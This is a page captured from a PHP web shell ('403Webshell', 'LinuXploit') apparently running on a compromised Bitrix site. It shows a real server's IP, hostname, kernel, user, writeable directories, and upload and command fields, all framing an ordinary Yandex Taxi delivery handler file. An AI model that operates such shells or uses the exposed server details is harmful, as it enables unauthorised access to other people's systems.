403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/handlers/delivery/yandextaxi/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/handlers/delivery/yandextaxi/requesthandler.php
<?php

namespace Sale\Handlers\Delivery\YandexTaxi;

use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Type\DateTime;
use Bitrix\Main\Web\Json;
use Bitrix\Sale\Delivery\Requests\HandlerBase;
use Bitrix\Sale\Delivery\Requests\Manager;
use Bitrix\Sale\Delivery\Requests\Message;
use Bitrix\Sale\Delivery\Requests\RequestResult;
use Bitrix\Sale\Delivery\Requests\RequestTable;
use Bitrix\Sale\Delivery\Requests\Result;
use Bitrix\Sale\Delivery\Requests\ShipmentResult;
use Bitrix\Sale\Delivery\Services\Base;
use Bitrix\Sale\Repository\ShipmentRepository;
use Sale\Handlers\Delivery\YandexTaxi\Api\Api;
use Sale\Handlers\Delivery\YandexTaxi\Api\RequestEntity\Claim;
use Sale\Handlers\Delivery\YandexTaxi\ClaimBuilder\ClaimBuilder;
use Sale\Handlers\Delivery\YandexTaxi\EventJournal\JournalProcessor;
use Sale\Handlers\Delivery\YandexTaxi\Internals\ClaimsTable;

/**
 * Class RequestHandler
 * @package Sale\Handlers\Delivery\YandexTaxi
 */
class RequestHandler extends HandlerBase
{
	/** @var Api */
	private $api;

	/** @var ClaimBuilder */
	private $claimBuilder;

	/** @var JournalProcessor */
	private $journalProcessor;

	/**
	 * @inheritDoc
	 */
	public function __construct(Base $deliveryService)
	{
		parent::__construct($deliveryService);

		$this->api = ServiceContainer::getApi();
		$this->claimBuilder = ServiceContainer::getClaimBuilder();
		$this->journalProcessor = ServiceContainer::getJournalProcessor();
	}

	/**
	 * @inheritDoc
	 */
	public function create(array $shipmentIds, array $additional = array())
	{
		$result = new Result();

		$isShipmentError = false;
		if (empty($shipmentIds) || count($shipmentIds) !== 1)
		{
			$isShipmentError = true;
		}
		else
		{
			$shipment = ShipmentRepository::getInstance()->getById((int)$shipmentIds[0]);
			if (is_null($shipment))
			{
				$isShipmentError = true;
			}
		}
		if ($isShipmentError)
		{
			return $result->addErrors([Loc::getMessage('SALE_YANDEX_TAXI_REQUEST_HANDLER_SHIPMENT_ERROR')]);
		}

		$claimBuildingResult = $this->claimBuilder->build($shipment);
		if (!$claimBuildingResult->isSuccess())
		{
			return $result->addErrors($claimBuildingResult->getErrors());
		}

		/** @var Claim $claim */
		$claim = $claimBuildingResult->getData()['RESULT'];

		$taxiClass = $claim->getClientRequirements()->getTaxiClass();

		if (ClaimBuilder::isOffersCalculateMethod($taxiClass))
		{
			$offerData = ServiceContainer::getRateCalculator()->calculateRate($shipment)->getData();

			if (isset($offerData['offerPayload']))
			{
				$claim->setOfferPayload($offerData['offerPayload']);
			}
		}

		$claimCreationResult = $this->api->createClaim($claim);

		if (!$claimCreationResult->isSuccess())
		{
			return $result->addError(new Error(Loc::getMessage('SALE_YANDEX_TAXI_ORDER_CREATE_ERROR')));
		}

		$createdClaim = $claimCreationResult->getClaim();
		if (is_null($createdClaim))
		{
			return $result->addError(new Error(Loc::getMessage('SALE_YANDEX_TAXI_ORDER_PERSIST_ERROR')));
		}

		$addResult = ClaimsTable::add([
			'SHIPMENT_ID' => $shipment->getId(),
			'CREATED_AT' => new DateTime(),
			'UPDATED_AT' => new DateTime(),
			'EXTERNAL_ID' => $createdClaim->getId(),
			'EXTERNAL_STATUS' => $createdClaim->getStatus(),
			'EXTERNAL_CREATED_TS' => $createdClaim->getCreatedTs(),
			'EXTERNAL_UPDATED_TS' => $createdClaim->getUpdatedTs(),
			'INITIAL_CLAIM' => Json::encode($createdClaim),
			'IS_SANDBOX_ORDER' => $this->api->getTransport()->isTestEnvironment() ? 'Y' : 'N',
		]);
		if (!$addResult->isSuccess())
		{
			return $result->addError(new Error(Loc::getMessage('SALE_YANDEX_TAXI_ORDER_PERSIST_ERROR')));
		}

		\CAgent::AddAgent(
			$this->journalProcessor->getAgentName(
				$this->deliveryService->getParentId()
			),
			'sale',
			'N',
			30,
			'',
			'Y',
			'',
			100,
			false,
			false
		);

		$requestResult = new RequestResult();
		$requestResult->setExternalId($createdClaim->getId());
		$requestResult->addResult(new ShipmentResult($shipment->getId()));
		$result->addResult($requestResult);
		$result->setData([
			'STATUS' => Loc::getMessage('SALE_YANDEX_TAXI_REQUEST_HANDLER_STATUS_SEARCHING_PERFORMER_DESCRIPTION'),
			'STATUS_SEMANTIC' => Manager::EXTERNAL_STATUS_SEMANTIC_PROCESS,
		]);

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public function getActions($requestId)
	{
		return [
			$this->getCancelActionCode() => $this->getCancelActionName()
		];
	}

	/**
	 * @inheritDoc
	 */
	public function executeAction($requestId, $actionType, array $additional)
	{
		if ($actionType === $this->getCancelActionCode())
		{
			return $this->cancelRequest($requestId);
		}

		return parent::executeAction($requestId, $actionType, $additional);
	}

	/**
	 * @param $requestId
	 * @return Result
	 */
	public function cancelRequest($requestId): Result
	{
		$result = new Result();

		$request = RequestTable::getById($requestId)->fetch();
		if (!$request)
		{
			return $result->addError(
				new Error(Loc::getMessage('SALE_YANDEX_TAXI_REQUEST_HANDLER_REQUEST_NOT_FOUND'))
			);
		}

		$getClaimResult = $this->api->getClaim($request['EXTERNAL_ID']);
		if (!$getClaimResult->isSuccess())
		{
			return $result->addErrors($getClaimResult->getErrors());
		}

		$claim = $getClaimResult->getClaim();
		if (is_null($claim))
		{
			return $result->addError(
				new Error(Loc::getMessage('SALE_YANDEX_TAXI_CANCELLATION_TMP_ERROR'))
			);
		}

		$getCancelInfoResult = $this->api->getCancelInfo($request['EXTERNAL_ID']);
		if (!$getCancelInfoResult->isSuccess())
		{
			return $result->addErrors($getCancelInfoResult->getErrors());
		}
		$availableCancelState = $getCancelInfoResult->getCancelState();

		$cancellationResult = ServiceContainer::getApi()->cancelClaim(
			$request['EXTERNAL_ID'],
			$claim->getVersion(),
			$availableCancelState
		);

		if (!$cancellationResult->isSuccess())
		{
			return $result->addError(
				new Error(Loc::getMessage('SALE_YANDEX_TAXI_CANCELLATION_FATAL_ERROR'))
			);
		}

		if ($availableCancelState === 'paid')
		{
			$result->addMessage(
				new Message(Loc::getMessage(
					'SALE_YANDEX_TAXI_DELIVERY_PAID_CANCELLATION',
					[
						'#SERVICE_NAME#' =>
							$this->deliveryService->getParentService()
								? $this->deliveryService->getParentService()->getName()
								: $this->deliveryService->getName()
						,
					]
				))
			);
		}
		else
		{
			$result->addMessage(
				new Message(
					Loc::getMessage('SALE_YANDEX_TAXI_DELIVERY_FREE_CANCELLATION')
				)
			);
		}

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public function delete($requestId)
	{
		return new Result();
	}

	/**
	 * @inheritDoc
	 */
	public function hasCallbackTrackingSupport(): bool
	{
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit